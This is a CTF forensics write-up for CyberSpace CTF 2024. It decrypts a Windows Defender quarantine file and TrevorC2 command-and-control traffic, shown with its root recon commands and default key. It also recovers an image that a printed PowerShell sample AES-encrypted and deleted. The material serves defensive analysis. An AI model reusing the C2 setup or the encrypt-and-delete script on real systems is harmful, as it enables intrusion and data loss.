Post

CyberSpace CTF 2024 - Writeups

This is a writeup for all forensics challenges from CyberSpace CTF 2024. Overall, this CTF had several unique and fun challenges. Shame @rex did not create any forensics challenge this year, would be happy to try them next year.

Social Distancing [Forensics]

Question: We all remember the time of social distancing and quarantines. How about some quarantined malware? Bet you can’t understand what it entails!

Flag: CSCTF{y0u_un-qu4rant1n3d_my_scr1Pt!_0x91a3edff6}

We were given a Quarantine file from Windows Defender to investigate. Essentially, Windows Defender quarantines files by encrypting them using a hard coded RC4 key and places them into C:\ProgramData\Microsoft\Windows Defender\Quarantine\ResourceData\.

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└─$ tree Quarantine    
Quarantine
├── Entries
│   └── {80008A1B-0000-0000-7091-E5797219933B}
├── ResourceData
│   └── 95
│       └── 957997B71FBF912F2A3E881A13A83E0FAB3ECB47
└── Resources
    └── 95
        └── 957997B71FBF912F2A3E881A13A83E0FAB3ECB47

6 directories, 3 files

A Python script can be created to decrypt the quarantined files with the RC4 key.

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from Crypto.Cipher import ARC4
import os

def decrypt_rc4(key, input_file, output_file):
    cipher = ARC4.new(key)

    with open(input_file, 'rb') as f:
        encrypted_data = f.read()
    
    decrypted_data = cipher.decrypt(encrypted_data)
    
    with open(output_file, 'wb') as f:
        f.write(decrypted_data)

def main():
    key = bytearray([
        0x1E, 0x87, 0x78, 0x1B, 0x8D, 0xBA, 0xA8, 0x44, 0xCE, 0x69,
        0x70, 0x2C, 0x0C, 0x78, 0xB7, 0x86, 0xA3, 0xF6, 0x23, 0xB7,
        0x38, 0xF5, 0xED, 0xF9, 0xAF, 0x83, 0x53, 0x0F, 0xB3, 0xFC,
        0x54, 0xFA, 0xA2, 0x1E, 0xB9, 0xCF, 0x13, 0x31, 0xFD, 0x0F,
        0x0D, 0xA9, 0x54, 0xF6, 0x87, 0xCB, 0x9E, 0x18, 0x27, 0x96,
        0x97, 0x90, 0x0E, 0x53, 0xFB, 0x31, 0x7C, 0x9C, 0xBC, 0xE4,
        0x8E, 0x23, 0xD0, 0x53, 0x71, 0xEC, 0xC1, 0x59, 0x51, 0xB8,
        0xF3, 0x64, 0x9D, 0x7C, 0xA3, 0x3E, 0xD6, 0x8D, 0xC9, 0x04,
        0x7E, 0x82, 0xC9, 0xBA, 0xAD, 0x97, 0x99, 0xD0, 0xD4, 0x58,
        0xCB, 0x84, 0x7C, 0xA9, 0xFF, 0xBE, 0x3C, 0x8A, 0x77, 0x52,
        0x33, 0x55, 0x7D, 0xDE, 0x13, 0xA8, 0xB1, 0x40, 0x87, 0xCC,
        0x1B, 0xC8, 0xF1, 0x0F, 0x6E, 0xCD, 0xD0, 0x83, 0xA9, 0x59,
        0xCF, 0xF8, 0x4A, 0x9D, 0x1D, 0x50, 0x75, 0x5E, 0x3E, 0x19,
        0x18, 0x18, 0xAF, 0x23, 0xE2, 0x29, 0x35, 0x58, 0x76, 0x6D,
        0x2C, 0x07, 0xE2, 0x57, 0x12, 0xB2, 0xCA, 0x0B, 0x53, 0x5E,
        0xD8, 0xF6, 0xC5, 0x6C, 0xE7, 0x3D, 0x24, 0xBD, 0xD0, 0x29,
        0x17, 0x71, 0x86, 0x1A, 0x54, 0xB4, 0xC2, 0x85, 0xA9, 0xA3,
        0xDB, 0x7A, 0xCA, 0x6D, 0x22, 0x4A, 0xEA, 0xCD, 0x62, 0x1D,
        0xB9, 0xF2, 0xA2, 0x2E, 0xD1, 0xE9, 0xE1, 0x1D, 0x75, 0xBE,
        0xD7, 0xDC, 0x0E, 0xCB, 0x0A, 0x8E, 0x68, 0xA2, 0xFF, 0x12,
        0x63, 0x40, 0x8D, 0xC8, 0x08, 0xDF, 0xFD, 0x16, 0x4B, 0x11,
        0x67, 0x74, 0xCD, 0x0B, 0x9B, 0x8D, 0x05, 0x41, 0x1E, 0xD6,
        0x26, 0x2E, 0x42, 0x9B, 0xA4, 0x95, 0x67, 0x6B, 0x83, 0x98,
        0xDB, 0x2F, 0x35, 0xD3, 0xC1, 0xB9, 0xCE, 0xD5, 0x26, 0x36,
        0xF2, 0x76, 0x5E, 0x1A, 0x95, 0xCB, 0x7C, 0xA4, 0xC3, 0xDD,
        0xAB, 0xDD, 0xBF, 0xF3, 0x82, 0x53
    ])
    
    # Path to the encrypted file in the Quarantine\ResourceData\95 directory
    input_file = os.path.join('Quarantine', 'ResourceData', '95', '957997B71FBF912F2A3E881A13A83E0FAB3ECB47')
    output_file = 'decrypted_file.bin'

    decrypt_rc4(key, input_file, output_file)
    print(f"File decrypted successfully. Decrypted file saved as {output_file}")

if __name__ == "__main__":
    main()

After decryption, the quarantined file was a Powershell script that had a base64 encoded ZIP file. The flag can be obtained from the ZIP file.

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└─$ strings decrypted_file.bin         
$hidden = @"
UEsDBAoAAAAAAOCYuCg8z1FoRAAAAEQAAAAJABwAZWljYXIuY29tVVQJAAOUYCw5y1zNZnV4CwAB
BAAAAAAEAAAAAFg1TyFQJUBBUFs0XFBaWDU0KFBeKTdDQyk3fSRFSUNBUi1TVEFOREFSRC1BTlRJ
VklSVVMtVEVTVC1GSUxFISRIK0gqUEsDBAoAAAAAAE8HG1mJ3nc0MQAAADEAAAAEABwAZmxhZ1VU
CQAD9VzNZtVczWZ1eAsAAQQAAAAABAAAAABDU0NURnt5MHVfdW4tcXU0cmFudDFuM2RfbXlfc2Ny
MVB0IV8weDkxYTNlZGZmNn0KUEsBAh4DCgAAAAAA4Ji4KDzPUWhEAAAARAAAAAkAGAAAAAAAAQAA
AKSBAAAAAGVpY2FyLmNvbVVUBQADlGAsOXV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAAE8HG1mJ
3nc0MQAAADEAAAAEABgAAAAAAAEAAACkgYcAAABmbGFnVVQFAAP1XM1mdXgLAAEEAAAAAAQAAAAA
UEsFBgAAAAACAAIAmQAAAPYAAAAAAA==
$decodedBytes = [System.Convert]::FromBase64String($hidden)
$zipFilePath = "malicious.zip"
[System.IO.File]::WriteAllBytes($zipFilePath, $decodedBytes)
Write-Output "File saved as $zipFilePath"

flag1

Geometry Dash 2.1 [Forensics]

Question: I would give you the flag but I can’t let go (haha get it). use GDBrowser for the last step btw.

Flag: CSCTF{geometry_dash_d0895c120d671b}

We were given a Geometry Dash level file to investigate. Researching online, it seems that the file can be decrypted into a readable format using online tools like this website. Several key values could be identified, with the value CSCTFa52de5 being the odd one out.

flag2

Using GDBrowser as per instructed by the author, the flag can be obtained from a comment placed by the user CSCTFa52de5.

flag3

3D Obj [Forensics]

Question: I am sending you my secret cube. I hope you could read my secret from the little colourful squares?

Flag: CSCTF{H1d1ng_in_T3x7ur3}

We were given a 3D object model and texture file to investigate. Analyzing the 3D model using the given texture file, the flag can be obtained.

flag4

bad packets [Forensics]

Question: Our SOC says that there seems to be some curious activities within one of our servers. They provided a pcap file but I can’t find what they’re talking about.

Flag: CSCTF{chang3_y0ur_variab13s_b3for3_d3pl0ying}

We were given a PCAP file to investigate. Analyzing the packets, a huge chunk of HTML code can be identified being fetched from the server with the Server header value being IIS.

flag5

However, it was just Google’s front page.

flag6

Going through the packets again, several GET requests to /images with base64 encoded parameters in the URL can be identified being fetched from the server.

flag7

At this point, the traffic was easily identified to be TrevorC2 communication. Using a Python script made by my teammate @Abdelrhman, the base64 encoded parameters captured can be decrypted and analyzed.

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#!/usr/bin/env python

import argparse
import base64
import hashlib
import re
from Cryptodome import Random
from Cryptodome.Cipher import AES
from scapy.all import rdpcap

class AESCipher(object):
    def __init__(self, key):
        self.bs = 16
        self.key = hashlib.sha256(AESCipher.str_to_bytes(key)).digest()

    @staticmethod
    def str_to_bytes(data):
        u_type = type(b''.decode('utf8'))
        if isinstance(data, u_type):
            return data.encode('utf8')
        return data

    def _pad(self, s):
        return s + (self.bs - len(s) % self.bs) * AESCipher.str_to_bytes(chr(self.bs - len(s) % self.bs))

    @staticmethod
    def _unpad(s):
        return s[:-ord(s[len(s)-1:])]

    def encrypt(self, raw):
        raw = self._pad(AESCipher.str_to_bytes(raw))
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(raw)).decode('utf-8')

    def decrypt(self, enc):
        enc = base64.b64decode(enc)
        iv = enc[:AES.block_size]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')

def parse_args():
    parser = argparse.ArgumentParser(description="Decrypt TrevorC2 network traffic data")
    parser.add_argument("-i", "--input", required=True, help="Path to the input pcap file")
    return parser.parse_args()

def main():
    CIPHER = "Tr3v0rC2R0x@nd1s@w350m3#TrevorForget"

    args = parse_args()
    pcap_file = args.input

    packets = rdpcap(pcap_file)

    # Define a regular expression pattern to match 'guid' and 'oldcss' parameters in URLs
    guid_pattern = re.compile(r'guid=([^&\s]+)')
    old_css_pattern = re.compile(r'oldcss=([^&\s]+)')

    # Extract 'guid' and 'oldcss' values from HTTP packets
    guid_values = []
    old_css_values = []
    for packet in packets:
        if packet.haslayer('Raw') and packet.haslayer('TCP'):
            payload = packet['Raw'].load.decode('utf-8', errors='ignore')
            if 'GET /' in payload and 'Host:' in payload:
                guid_match = guid_pattern.search(payload)
                if guid_match:
                    guid_values.append(guid_match.group(1))
            if '!--' in payload:
                oldcss_match = old_css_pattern.search(payload)
                if oldcss_match:
                    old_css_values.append(oldcss_match.group(1))

    # Decrypt and print the extracted values
    cipher = AESCipher(CIPHER)
    
    for old_value in old_css_values:
        print("-----------------------------")
        print("Server Command")
        decrypted_text = cipher.decrypt(old_value)
        print(decrypted_text)

    for guid_value in guid_values:
        print("-----------------------------")
        print("Client Response")
        decrypted_text = cipher.decrypt(base64.b64decode(guid_value))
        print(decrypted_text)

if __name__ == "__main__":
    main()
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└─$ python trevorc2_decrypt.py -i chall.pcap 
-----------------------------
Server Command
nothing
-----------------------------
Server Command
nothing
-----------------------------
Server Command
nothing
-----------------------------
Server Command
nothing
-----------------------------
Server Command
nothing
-----------------------------
Server Command
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::ls -lah
-----------------------------
Server Command
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::whoami
-----------------------------
Server Command
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::id
-----------------------------
Server Command
nothing
-----------------------------
Server Command
nothing
-----------------------------
Server Command
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::echo 'CSCTF{chang3_y0ur_variab13s_b3for3_d3pl0ying}'
-----------------------------
Server Command
nothing
-----------------------------
Server Command
nothing
-----------------------------
Server Command
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::ping -n 5 8.8.8.8
-----------------------------
Client Response
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::b'total 1.5M\ndrwxr-xr-x 5 root    root    4.0K Aug 18 01:50 .\ndrwx------ 6 root    root    4.0K Aug 18 01:50 ..\ndrwxr-xr-x 2 root    root    4.0K Aug 18 01:47 bin\n-rw-r--r-- 1 root    root    5.9K Aug 18 01:45 c2\ndrwxr-xr-x 3 root    root    4.0K Aug 18 01:46 include\ndrwxr-xr-x 3 root    root    4.0K Aug 18 01:46 lib\nlrwxrwxrwx 1 root    root       3 Aug 18 01:46 lib64 -> lib\n-rw-r--r-- 1 tcpdump tcpdump 1.5M Aug 18 01:51 out.pcapng\n-rw-r--r-- 1 root    root     147 Aug 18 01:46 pyvenv.cfg\n-rw-r--r-- 1 root    root      37 Aug 18 01:47 requirements.txt\n'
-----------------------------
Client Response
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::b'root\n'
-----------------------------
Client Response
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::b'uid=0(root) gid=0(root) groups=0(root)\n'
-----------------------------
Client Response
ubuntu-s-1vcpu-512mb-10gb-ams3-01::::b'CSCTF{chang3_y0ur_variab13s_b3for3_d3pl0ying}\n'

Memory [Forensics]

Question: I left the image of the flag in the desktop but somehow it disappeared, can you help me recover it?

Flag: csctf{p0w3r$h3ll_$@v3d_3v3ry7h1ng_1n_3nv@r$!_Congr@tul@t10n$!}

We were given a memory dump to investigate. The challenge mentioned the flag image being placed in the Desktop, however, it couldn’t be located via filescan.

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└─$ vol -f mem.dmp windows.filescan | grep -i Desktop      
0xe5075e124650.0\Windows\System32\WindowsInternal.ComposableShell.DesktopHosting.dll
0xe5075e12d610  \Users\gg\Desktop
0xe5075e131490  \Windows\System32\SettingsEnvironment.Desktop.dll
0xe5075e4ae580  \Users\gg\Desktop\procdump64.exe
0xe5075e4ae710  \Users\gg\Documents\desktop.ini
0xe5075e4aebc0  \Users\gg\Pictures\desktop.ini
0xe5075e4b04c0  \Users\gg\Downloads\desktop.ini
0xe5076172e320  \Users\gg\Desktop\x64\DumpIt.exe
0xe5076172fc20  \Users\gg\Desktop\note.txt
0xe50761b9d150  \Users\gg\Desktop\Nmap - Zenmap GUI.lnk
0xe50761b9d920  \Users\gg\Desktop\retoolkit.lnk
0xe50761b9e5a0  \Users\gg\Desktop\x64\DumpIt.exe
0xe50761b9f6d0  \Users\gg\Desktop\cmd.lnk
0xe50761ba1c50  \Users\gg\Desktop\x32dbg.lnk
0xe50761ba4810  \$Recycle.Bin\S-1-5-21-2469166701-3717817758-3674795185-1002\desktop.ini
0xe50761ba70b0  \Users\gg\Desktop\x64dbg.lnk
0xe50761ba8e60  \Users\gg\Desktop\x64
0xe50761bab0c0  \Users\gg\Desktop\retoolkit_2023.10_setup.exe
0xe50761bac830  \Users\gg\Desktop\x64
0xe50761badc80  \Users\gg\Desktop\procdump.exe
0xe50761bb0520  \Users\gg\Desktop\x64\Bin2Dmp.exe
0xe50761bb0840  \Users\gg\Desktop\x64\Dmp2Json.exe
0xe50761bb38b0  \Users\gg\Desktop\x64\DumpIt.exe
0xe50761bb3ef0  \Users\gg\Desktop\x64\Z2Dmp.exe
0xe50761bb54d0  \Users\gg\Desktop\x64\Hibr2Dmp.exe
0xe50761eb0800  \Windows\System32\DispBroker.Desktop.dll
0xe50762318590  \Windows\System32\AppXDeploymentExtensions.desktop.dll
0xe50762318a40  \Windows\System32\Windows.Cortana.Desktop.dll
0xe5076231b2e0  \Program Files (x86)\desktop.ini
0xe507623beb90  \Windows\System32\DesktopShellExt.dll
0xe507623c4ae0  \Windows\ImmersiveControlPanel\SystemSettingsViewModel.Desktop.dll
0xe507623d5610  \Users\Public\desktop.ini
0xe507623d6420  \Users\Public\Desktop\desktop.ini
0xe50762524dd0  \Users\gg\Videos\desktop.ini
0xe507625266d0  \Users\gg\Music\desktop.ini
0xe50762527800  \Users\gg\OneDrive\desktop.ini
0xe5076253f860  \Program Files\desktop.ini
0xe5076253fb80  \Users\gg\Desktop\x64\Dmp2Bin.exe
0xe50762599670  \Windows\System32\Windows.Cortana.PAL.Desktop.dll
0xe50764d93a50  \Users\gg\Desktop
0xe50764d9c560  \Users\gg\Desktop
0xe50764da19c0  \Users\Public\Desktop
0xe50764da2960  \Users\Public\Desktop
0xe50764f021e0  \Users\Public\Desktop\TB03S.lnk
0xe50764f07640  \Users\gg\Desktop
0xe50764f09a30  \Users\gg\Desktop\x64
0xe50764f0a390  \Users\gg\Desktop\x64\Hibr2Bin.exe
0xe50764f12220  \Users\desktop.ini
0xe50764f16870  \Users\gg\Desktop\desktop.ini
0xe50764f26400  \Users\gg\Desktop\x64\DESKTOP-5LBRLH1-20240826-200814.dmp

A note.txt file can be identified in the Desktop, but it was just a fake flag (can’t be dumped but can be analyzed with mftparser).

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MFT entry found at offset 0x7208dc00
Attribute: In Use & File
Record Number: 26783
Link count: 1


$STANDARD_INFORMATION
Creation                       Modified                       MFT Altered                    Access Date                    Type
------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
2024-08-26 02:06:25 UTC+0000 2024-08-26 02:06:25 UTC+0000   2024-08-26 02:06:25 UTC+0000   2024-08-26 19:58:48 UTC+0000   Archive

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2024-08-26 02:06:25 UTC+0000 2024-08-26 02:06:25 UTC+0000   2024-08-26 02:06:25 UTC+0000   2024-08-26 02:06:25 UTC+0000   Users\gg\Desktop\note.txt

$OBJECT_ID
Object ID: 77b25782-9063-ef11-b930-0800279a5d3b
Birth Volume ID: 80000000-4800-0000-0000-180000000100
Birth Object ID: 30000000-1800-0000-4e6f-7468696e6720
Birth Domain ID: 68657265-2c20-736f-7272-792e20637363

$DATA
0000000000: 4e 6f 74 68 69 6e 67 20 68 65 72 65 2c 20 73 6f   Nothing.here,.so
0000000010: 72 72 79 2e 20 63 73 63 74 66 7b 6e 6f 74 5f 72   rry..csctf{not_r
0000000020: 65 61 6c 6c 6c 79 5f 74 68 65 5f 66 6c 61 67 7d   eallly_the_flag}

Searching for information about the flag image with strings and grep, part of a Powershell script can be identified. The script seem to store the encoded data, key, and IV in environment variables after encrypting the flag with AES.

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$ifPath = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('Desktop'), 'flag.jpg')
$efPath = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('Desktop'), 'flag.enc')
$aes = New-Object System.Security.Cryptography.AesManaged
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.GenerateKey()
$aes.GenerateIV()
$cee = [System.Convert]::ToBase64String($aes.Key)
$vee = [System.Convert]::ToBase64String($aes.IV)
$content = [System.IO.File]::ReadAllBytes($ifPath)
$encryptor = $aes.CreateEncryptor($aes.Key, $aes.IV)
$encryptedData = $encryptor.TransformFinalBlock($content, 0, $content.Length)
$encryptedBase64 = [System.Convert]::ToBase64String($encryptedData)
[System.IO.File]::WriteAllText($efPath, $encryptedBase64)
[System.Environment]::SetEnvironmentVariable("ENCD", $encryptedBase64, [System.EnvironmentVariableTarget]::User)
[System.Environment]::SetEnvironmentVariable("ENCK", $cee, [System.EnvironmentVariableTarget]::User)
[System.Environment]::SetEnvironmentVariable("ENCV", $vee, [System.EnvironmentVariableTarget]::User)
if (Test-Path $ifPath) {
    Remove-Item $ifPath -Force

One easy method to retrieve environment variables was to utilise the envar plugin from Volatility. The flag can be obtained after decrypting the image with the respective key and IV.

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└─$ vol -f mem.dmp windows.envar | grep -iE "ENCD|ENCK|ENCV"
3012	sihost.exe	0x163540ca970	ENCD	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